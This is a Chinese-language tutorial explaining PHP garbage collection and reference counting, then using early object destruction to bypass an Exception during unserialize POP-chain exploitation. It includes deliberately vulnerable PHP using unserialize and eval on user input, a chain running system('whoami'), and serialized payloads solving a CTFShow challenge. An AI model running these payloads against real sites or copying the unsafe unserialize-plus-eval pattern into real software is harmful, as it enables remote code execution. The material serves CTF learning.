PHP GC介绍
GC的全称是Garbage Collection
也就是垃圾回收的意思
在PHP中,是使用引用计数
和回收周期
来自动管理内存对象的,当一个对象被设置为NULL,或者没有任何指针指向时,他就会变成垃圾,被GC机制回收掉,这里其实就可以理解为当一个对象没有被引用时,也就是基本类型(字符串,整形等等),被引用也就是一个对象(Object),在这可以理解为一个对象没有被引用时就会被GC机制回收
先引入一个函数xdebug_debug_zval
,这是用来查看变量容器的内容的:
1 2 3
| <?php $a="Boogipop"; xdebug_debug_zval("a");
|
在PHP CG机制当中,当程序结束时就会往变量的refcount减一,如果refcount-1=0的话,那么就会将这个变量销毁
引用计数
在上面的例子中可以看到recount、is_ref
2个名字,recount表示的是指向变量a
容器的变量个数,is_ref
是boolean类型的,表示该变量是否被引用
回到上述例子,在上述例子中定义的是一个字符串类型的变量,因此is_ref==0
,因为并没有被引用,但是我们如果修改一下代码,如下:
1 2 3 4 5
| <?php $a="Boogipop"; xdebug_debug_zval("a"); $b=&$a; xdebug_debug_zval("a");
|
可以看到is_ref为1,refcount为2,符合我们上述所说的规则,那假如是数组又会发生什么呢?
1 2 3 4 5
| <?php $a="Boogipop"; $arr=array(0=>"test",1=>&$a); xdebug_debug_zval("a"); xdebug_debug_zval("arr");
|
发现在数组中也同样生效,那假如我们再debug之前把变量销毁了呢?
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php $a="Boogipop"; $arr=array(0=>"test",1=>&$a); unset($a); xdebug_debug_zval("a"); xdebug_debug_zval("arr");
<?php $a="Boogipop"; unset($a); $arr=array(0=>"test",1=>&$a); xdebug_debug_zval("a"); xdebug_debug_zval("arr");
|
上述两种情况分别对应2种结果:
第一种结果虽然结果为空,但是refcount还是不会为1,也就是不会被销毁,而第二种则会被销毁
PHP GC在反序列化中的运用
首先我们引入一个正常的Demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class gc{ public $num; public function __construct($num) { $this->num=$num; echo "construct(".$num.")"."\n"; } public function __destruct() { echo "destruct(".$this->num.")"."\n"; } } $a=new gc(1); $b=new gc(2); $c=new gc(3);
|
构造函数创建顺序和销毁顺序都符合我们的预想和规则,在这里用zval函数去看看情况:
可以看到refcount为1,所以在程序结束时候销毁了,加入我们不给a赋值,就是直接new一个gc类会发生什么?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class gc{ public $num; public function __construct($num) { $this->num=$num; echo "construct(".$num.")"."\n"; } public function __destruct() { echo "destruct(".$this->num.")"."\n"; } } new gc(1); $b=new gc(2); $c=new gc(3);
|
发现1号的析构方法提前触发了,因为这个对象没进行赋值,所以根本不存在引用,因此原地销毁。
绕过Exception异常
这是这个gc回收机制最常出现的地方,在此之前我们继续分析一下上述例子,我们将代码改为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php class gc{ public $num; public function __construct($num) { $this->num=$num; echo "construct(".$num.")"."\n"; } public function __destruct() { echo "destruct(".$this->num.")"."\n"; } } $arr=array(0=>new gc(1),1=>NULL);
xdebug_debug_zval('arr'); $b=new gc(2); $c=new gc(3);
|
这时输出结果如下:
很正常的输出结果,假如把注释取消,将0指向NULL,会发生什么?
和预想中的一样,会原地销毁这个变量,destruct提前触发,那么接下来我们就利用这一点去绕过Exception:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php highlight_file(__FILE__); error_reporting(0); class gc0{ public $num; public function __destruct(){ echo $this->num."hello __destruct"; } } class gc1{ public $string; public function __toString() { echo "hello __toString"; $this->string->flag(); return 'useless'; } } class gc2{ public $cmd; public function flag(){ echo "hello __flag()"; eval($this->cmd); } } $a=unserialize($_GET['code']); throw new Exception("Garbage collection"); ?>
|
这是一个小案例,很简单的一个pop链,按照正常逻辑来看,触发逻辑很正常就是gc0::__destruct->gc1::__tostring->gc2::flag()
构造正常逻辑pop链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class gc0{ public $num; } class gc1{ public $string; } class gc2{ public $cmd='system("whoami")'; } $a=new gc0; $b=new gc1; $c=new gc2; $a->num=$b; $b->string=$c; echo serialize($a);
|
结果就不出意料的抛出了异常,因为在destruct触发前,触发了Exception,因此在这里就要利用GC回收机制进行一个绕过,我们修改一下pop:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php class gc0{ public $num; } class gc1{ public $string; } class gc2{ public $cmd='system("whoami");'; } $a=new gc0; $b=new gc1; $c=new gc2; $a->num=$b; $b->string=$c; $arr=array(0=>$a,1=>NULL); echo serialize($arr);
|
得到结果a:2:{i:0;O:3:"gc0":1:{s:3:"num";O:3:"gc1":1:{s:6:"string";O:3:"gc2":1:{s:3:"cmd";s:17:"system("whoami");";}}}i:1;N;}
这时候我们把键名1改为0,也就是修改结果为a:2:{i:0;O:3:"gc0":1:{s:3:"num";O:3:"gc1":1:{s:6:"string";O:3:"gc2":1:{s:3:"cmd";s:17:"system("whoami");";}}}i:0;N;}
,这不就等效于将0指向了NULL,从而提前销毁吗
成功运行whoami指令,这就是一个很好的小案例
CTFShow[卷王杯]easy unserialize
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| <?php
include("./HappyYear.php");
class one { public $object;
public function MeMeMe() { array_walk($this, function($fn, $prev){ if ($fn[0] === "Happy_func" && $prev === "year_parm") { global $talk; echo "$talk"."</br>"; global $flag; echo $flag; } }); }
public function __destruct() { @$this->object->add(); }
public function __toString() { return $this->object->string; } }
class second { protected $filename;
protected function addMe() { return "Wow you have sovled".$this->filename; }
public function __call($func, $args) { call_user_func([$this, $func."Me"], $args); } }
class third { private $string;
public function __construct($string) { $this->string = $string; }
public function __get($name) { $var = $this->$name; $var[$name](); } }
if (isset($_GET["ctfshow"])) { $a=unserialize($_GET['ctfshow']); throw new Exception("高一新生报道"); } else { highlight_file(__FILE__); }
|
直接一眼答案法秒杀one::__destruct->second::__call->second::__addMe()->one::__toString->third::__get->one::MeMeMe()
,按照常规逻辑就这么构造即可
但是他抛出了异常,我们根据上面的分析,让其滞空即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| <?php
include("./HappyYear.php");
class one { public $year_parm=array("Happy_func"); public $object;
public function MeMeMe() { array_walk($this, function($fn, $prev){ if ($fn[0] === "Happy_func" && $prev === "year_parm") { global $talk; echo "$talk"."</br>"; global $flag; echo $flag; } }); }
public function __destruct() { @$this->object->add(); }
public function __toString() { return $this->object->string; } }
class second { public $filename;
protected function addMe() { return "Wow you have sovled".$this->filename; }
public function __call($func, $args) { call_user_func([$this, $func."Me"], $args); } }
class third { private $string;
public function __construct($string) { $this->string = $string; }
public function __get($name) { $var = $this->$name; $var[$name](); } }
$a=new one(); $a->object=new second(); $a->object->filename=new one(); $a->object->filename->object=new third(array("string"=>[new one(),"MeMeMe"])); $b = array($a,NULL); echo urlencode(serialize($b));
|
修改为:a:2:{i:0;O:3:"one":2:{s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}s:6:"object";O:6:"second":1:{s:8:"filename";O:3:"one":2:{s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}s:6:"object";O:5:"third":1:{s:13:"thirdstring";a:1:{s:6:"string";a:2:{i:0;O:3:"one":2:{s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}s:6:"object";N;}i:1;s:6:"MeMeMe";}}}}}}i:1;N;}
最后URL编码打进去即可
[NSSCTF]prize_p1
一样的知识点,有兴趣去做就行
我懒,直接放链接给你们